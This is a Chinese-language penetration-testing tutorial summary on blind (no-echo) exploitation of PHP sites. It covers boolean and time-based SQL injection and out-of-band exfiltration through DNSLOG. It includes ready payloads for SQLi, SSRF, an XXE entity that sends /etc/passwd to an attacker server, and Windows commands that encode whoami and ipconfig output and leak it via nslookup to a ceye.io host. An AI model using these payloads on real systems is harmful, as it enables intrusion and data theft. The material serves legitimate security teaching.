PHP无回显渗透测试总结
字数 935 2025-08-05 00:15:08

PHP无回显渗透测试技术总结

0x01 前言

在渗透测试过程中,开发不可能每一次都将结果输出到页面上,也就是漏洞无回显的情况。这种情况下,我们可以通过DNSLOG判断漏洞存在,或者通过搭建Python HTTP服务来验证,方法多样。

0x02 无回显概念

无回显即执行的payload在站点没有输出,无法进行进一步操作。在渗透测试中,漏洞点不可能总是能够在返回页面进行输出,这时就需要进行无回显利用。

0x03 不同漏洞的无回显技术

1. SQL注入无回显

1.1 布尔盲注

布尔盲注是盲注的一种,当网站通过查询语句的布尔值返回真假来输出页面信息时使用:

  1. 构造等号判断获取字符的ASCII码
  2. 通过length()函数判断数据库库名长度
  3. 使用ascii()和substr()函数获取字符ASCII码
  4. 示例:
    ?id=1' and length(database())>1 %23
    ?id=1' and ascii(substr((select database()),1,1))>97 %23
    ?id=1' and ascii(substr((select database()),1,1))=115 %23
    

1.2 延时盲注

当布尔盲注无效时使用延时盲注:

  1. 使用if()函数配合sleep()判断
  2. 示例:
    ?id=2' and if((length(database())=8),sleep(5),1) %23
    ?id=2' and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23
    

巧用DNSLOG进行SQL注入

  1. DNSLOG原理:DNS服务器会记录所有访问记录
  2. load_file()函数:读取文件内容为字符串,需要FILE权限
  3. UNC路径:格式为\\服务器名\服务器资源
  4. 示例:
    ?id=1' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn/abc')) %23
    

2. XSS无回显

2.1 XSS盲打

  1. 在表单提交处输入XSS payload
  2. 管理员查看后台时触发
  3. 使用XSS平台payload等待上钩

2.2 通过DNSLOG判断


3. SSRF无回显

  1. 通过DNSLOG验证:
    http://172.16.29.2/ssrf_test.php?url=http://ssrf.02c6ot.dnslog.cn
    
  2. 通过Python HTTP服务验证:
    python3 -m http.server 4545
    
    然后访问:
    http://172.16.29.2/ssrf_test.php?url=http://172.16.29.1:4545
    

4. XXE无回显

  1. 使用外带数据技术
  2. 文件结构:
    • 1.xml:请求攻击者VPS上的XML文件
    • 2.php:保存GET参数数据
    • 3.txt:存储结果
  3. 示例payload:
    <?xml version="1.0"?>
    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % remote SYSTEM"http://服务器IP地址/xxe/1.xml">
    %remote;
    %send;
    ]>
    

5. 命令执行无回显

5.1 DNSLOG判断漏洞存在

http://127.0.0.1/test_blind/exec.php?cmd=ping+lhg3du.dnslog.cn

5.2 DNSLOG外带数据

获取Windows用户名

http://127.0.0.1/test_blind/exec.php?cmd=ping+%USERNAME%.io5a5i.dnslog.cn

其他命令执行

cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.ceye.io)&del temp

cmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.xxxx.ceye.io & cmd /c nslookup %_:~40,-1%.xxxx.ceye.io)&del temp

POST传参

  1. 对内容进行URL编码
  2. 通过DNSLOG获取结果
  3. Base64解码获取内容

总结

  1. 无回显情况常见,需要外带数据获取内容
  2. 首选方法是反弹shell获取交互式会话
  3. 不同漏洞类型需要采用不同的无回显技术
  4. DNSLOG是验证无回显漏洞的有效工具
  5. 实际渗透中应灵活组合多种技术
PHP无回显渗透测试技术总结 0x01 前言 在渗透测试过程中,开发不可能每一次都将结果输出到页面上,也就是漏洞无回显的情况。这种情况下,我们可以通过DNSLOG判断漏洞存在,或者通过搭建Python HTTP服务来验证,方法多样。 0x02 无回显概念 无回显即执行的payload在站点没有输出,无法进行进一步操作。在渗透测试中,漏洞点不可能总是能够在返回页面进行输出,这时就需要进行无回显利用。 0x03 不同漏洞的无回显技术 1. SQL注入无回显 1.1 布尔盲注 布尔盲注是盲注的一种,当网站通过查询语句的布尔值返回真假来输出页面信息时使用: 构造等号判断获取字符的ASCII码 通过length()函数判断数据库库名长度 使用ascii()和substr()函数获取字符ASCII码 示例: 1.2 延时盲注 当布尔盲注无效时使用延时盲注: 使用if()函数配合sleep()判断 示例: 巧用DNSLOG进行SQL注入 DNSLOG原理 :DNS服务器会记录所有访问记录 load_ file()函数 :读取文件内容为字符串,需要FILE权限 UNC路径 :格式为 \\服务器名\服务器资源 示例: 2. XSS无回显 2.1 XSS盲打 在表单提交处输入XSS payload 管理员查看后台时触发 使用XSS平台payload等待上钩 2.2 通过DNSLOG判断 3. SSRF无回显 通过DNSLOG验证: 通过Python HTTP服务验证: 然后访问: 4. XXE无回显 使用外带数据技术 文件结构: 1.xml:请求攻击者VPS上的XML文件 2.php:保存GET参数数据 3.txt:存储结果 示例payload: 5. 命令执行无回显 5.1 DNSLOG判断漏洞存在 5.2 DNSLOG外带数据 获取Windows用户名 : 其他命令执行 : POST传参 : 对内容进行URL编码 通过DNSLOG获取结果 Base64解码获取内容 总结 无回显情况常见,需要外带数据获取内容 首选方法是反弹shell获取交互式会话 不同漏洞类型需要采用不同的无回显技术 DNSLOG是验证无回显漏洞的有效工具 实际渗透中应灵活组合多种技术